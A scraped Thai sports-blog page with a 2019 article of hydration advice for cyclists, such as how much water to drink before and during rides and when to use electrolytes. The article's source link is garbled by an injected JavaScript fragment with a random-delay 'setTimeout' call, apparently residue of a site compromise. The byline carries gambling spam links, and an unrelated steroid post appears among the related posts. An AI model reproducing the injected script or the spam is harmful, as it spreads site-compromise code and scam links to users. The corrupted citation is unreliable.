• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Tips & Technics Cycling Tips

CYCLING TIPS: คำแนะการดื่มน้ำสำหรับนักปั่นจักรยาน

kan by kan
6 August 2019
in Cycling Tips
0
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

ถ้าคิดว่าการดื่มน้ำไม่สำคัญ ก็ควรคิดดูใหม่ เพราะ เพียงสูญเสียน้ำในร่างกายไป 2% ระดับพลังงานก็จะลดลงถึง 12% ระหว่างการปั่นฝึกซ้อม เราควรดื่มน้ำอย่างน้อย 800 ML ทุกๆ 1 ชั่วโมง และก่อนออกปั่นทุกครั้งก็ควรดื่มน้ำไว้ก่อน 800-1600 ML เหมือนกับการเติมน้ำมันเต็มถังไว้ก่อน

CYCLING TIPS: คำแนะการดื่มน้ำสำหรับนักปั่นจักรยาน

  1. นักปั่นควรดื่มน้ำอย่างน้อย 8 แก้วต่อวัน ยิ่งเราเป็นคน Active มากเท่าไหร่ ก็จะยิ่งต้องการน้ำเพื่อช่วยรักษาสมดุลน้ำในร่างกาย
  2. อย่ารอจนรู้สึกหิวน้ำแล้วค่อยดื่ม เมื่อเรารู้สึกหิวน้ำ นั้นหมายความว่าร่างกายเราสูญเสียน้ำไปแล้ว เทียบได้ประมาณ 2-3 แก้ว หรือมากกว่า
  3. กาแฟ เครื่องดื่มแอลกอฮอล์ใช้ทนแทนน้ำไม่ได้ เครื่องดื่มที่มีกาเฟอีนและเครื่องดื่มแอลกอฮอล์ จะทำให้ปัสสาวะมากขึ้น นั้นทำให้เราขาดน้ำมากขึ้น  
  4. เมื่อเริ่มออกกำลังกาย ควรมีการจิบน้ำเป็นระยะๆ พกกระติกน้ำติดตัวไว้เสมอ และจิบน้ำเป็นระยะๆ
  5. ปริมาณเหงื่อที่สูญเสีย มีผลต่อปริมาณน้ำในร่างกายมาก การสูญเสียน้ำ 400-500 กรัม ต้องดื่มน้ำชดเชยประมาณ 2 แก้ว
  6. เริ่มและจบด้วยการดื่มน้ำ เพื่อรักษาน้ำในร่างกายให้คงที่มากที่สุด นักปั่นควรดื่มน้ำก่อน ระหว่างและหลังการปั่นเสมอ

ร่างกายนักปั่นจักรยานสูญเสียน้ำแม้ในเวลาที่นอนหลับพักผ่อน ดังนั้นก็ควรปฏิบัติตามการฝึกปั่น ควรมีการดื่มก่อนนอนและอีกครั้งเมื่อตื่นนอน

การดื่มน้ำเย็น (ไม่ใช่เครื่องดื่มน้ำอัดลมและเครื่องดื่มเกลือแร่) ช่วยรักษาระดับน้ำร่างกายได้เช่นกัน ให้ความเย็นสดชื่น และช่วยลดอุณหภูมิร่างกายลงได้ เราแนะนำให้แช่แข็งกระติกน้ำไว้ขวดหนึ่ง พอปั่นไปได้สักระยะ น้ำแข็งจะละลายขณะทีน้ำก็ยังมีความเย็นสดชื่นเวลาดื่ม

แหล่งน้ำอื่นๆ นอกเหนือจากน้ำเปล่า ได้แก่ นม ชา น้ำผลไม้ 100% และน้ำผักผลไม้ปั่น แต่การใช้น้ำซุป เครื่องดื่มแอลกอฮอล์และเครื่องดื่มที่มีกาเฟอีนผสม ไม่แนะนำ เพราะมีปริมาณโซเดียมสูง และไปขัดขว้างร่างกายในการดูดซับน้ำ

ในแผนการฝึกที่กินเวลานาน (2-3 ชั่วโมง) เราจะสูญเสียปริมาณเหงื่อเป็นจำนวนมาก และจะออกมาพร้อมกับปริมาณเกลือในร่างกายด้วย ดังนั้นนอกจากจะดื่มน้ำเติมกลับไปแล้ว ก็ควรมีการผสมเครื่องดื่มอิเล็กโตรไลท์ในน้ำด้วย เพื่อเติมเกลือแร่กลับไปด้วย

อ้างอิง andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andaluciancyclingexperience.com/2017/06/12/Top-Tips-Hydration/?fbclid=IwAR1Vcyu5728bGmi13kF7MuSLtEuL_DiGskPLyZ0PGINXrPPu_w1W_ZEj_hM”>www.andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andaluciancyclingexperience.com

ShareTweetShare
kan

kan

slot demoslot gacorslot gacorserver thailandslot kamboja

Related Posts

! Без рубрики

Sustanon 250 steroid: tutto cio che devi sapere

23 August 2023
“ไฮเออร์” เตรียมจัดงานวิ่ง HAIER RUN 2023 INSPIRE FUTURE DREAMS
News

“ไฮเออร์” เตรียมจัดงานวิ่ง HAIER RUN 2023 INSPIRE FUTURE DREAMS

3 May 2023
บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิธีคำนวณ Maximum Heart Rate

    วิธีคำนวณ Maximum Heart Rate

    0 shares
    Share 0 Tweet 0
  • เฟรมสำเนา เหมือนแค่ไหนยังไงก็คือของปลอม!

    0 shares
    Share 0 Tweet 0
  • 5 วิธีลงคอร์ควิ่งเพื่อเพิ่มความเร็ว

    0 shares
    Share 0 Tweet 0
  • เอาติดข้างฝาไว้นะ..ตารางฝึกวิ่งมาราธอน 8 สัปดาห์

    0 shares
    Share 0 Tweet 0
  • One Piece Run งานวิ่งมาราธอน สำหรับสาวกกลุ่มโจรสลัดหมวกฟาง

    0 shares
    Share 0 Tweet 0

ทดสอบ

ทดสอบ

StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

Sustanon 250 steroid: tutto cio che devi sapere

23 August 2023
“ไฮเออร์” เตรียมจัดงานวิ่ง HAIER RUN 2023 INSPIRE FUTURE DREAMS

“ไฮเออร์” เตรียมจัดงานวิ่ง HAIER RUN 2023 INSPIRE FUTURE DREAMS

3 May 2023
บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022

Browse by Category

  • ! Без рубрики
  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.